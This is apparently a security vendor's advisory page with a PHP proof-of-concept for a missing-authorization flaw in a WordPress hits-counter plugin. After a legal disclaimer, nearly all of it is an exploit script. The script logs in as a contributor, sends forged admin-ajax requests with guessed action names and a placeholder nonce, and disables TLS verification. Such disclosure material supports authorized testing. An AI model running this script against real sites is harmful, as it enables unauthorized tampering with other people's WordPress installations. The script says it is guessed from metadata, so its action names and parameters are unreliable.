CVE-2026-24587: AJAX Hits Counter + Popular Posts Widget <= 0.10.210305 – Missing Authorization (ajax-hits-counter)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24587 - AJAX Hits Counter + Popular Posts Widget <= 0.10.210305 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-24587
 * Assumptions based on metadata analysis:
 * 1. Vulnerable endpoint is /wp-admin/admin-ajax.php (common WordPress AJAX pattern)
 * 2. Action parameter name is 'action' (standard WordPress AJAX)
 * 3. Possible action values derived from plugin slug: 'ajax_hits_counter_action', 'ahc_update', 'ajax_hits_counter_update'
 * 4. Requires contributor-level authentication (WordPress cookies)
 * 5. May require additional parameters; we include common ones as placeholders
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE: Contributor username
$password = 'contributor_pass'; // CHANGE: Contributor password

// Common action names inferred from plugin slug and WordPress patterns
$possible_actions = [
    'ajax_hits_counter_action',
    'ahc_action',
    'ahc_update',
    'ajax_hits_counter_update',
    'ahc_save_settings',
    'ajax_hits_counter_save'
];

// First, authenticate to get WordPress cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();

// WordPress login parameters
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($login_fields),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_USERAGENT => 'Atomic Edge PoC/1.0'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code !== 200 || strpos($response, 'Dashboard') === false) {
    echo "[!] Authentication failed. Check credentials.n";
    exit;
}

echo "[+] Authentication successful. Testing vulnerable actions...nn";

// Test each possible action
foreach ($possible_actions as $action) {
    // Common parameters that might be expected by a hits counter plugin
    $post_fields = [
        'action' => $action,
        'post_id' => '1',
        'count' => '999',
        'nonce' => 'bypassed' // Nonce may be missing or not validated
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_fields),
        CURLOPT_REFERER => str_replace('/wp-admin/admin-ajax.php', '/wp-admin/', $target_url)
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    echo "[*] Testing action: {$action}n";
    echo "    HTTP Code: {$http_code}n";
    echo "    Response length: " . strlen($response) . " bytesn";
    
    // Check for success indicators
    if (strpos($response, 'success') !== false || strpos($response, 'updated') !== false) {
        echo "    [POSSIBLE SUCCESS] Response contains success indicatorsn";
    } elseif (strpos($response, 'error') !== false) {
        echo "    [ERROR] Response contains error messagesn";
    }
    
    echo "n";
}

curl_close($ch);
unlink('cookies.txt');
echo "[+] PoC completed. Review responses for successful exploitation.n";
?>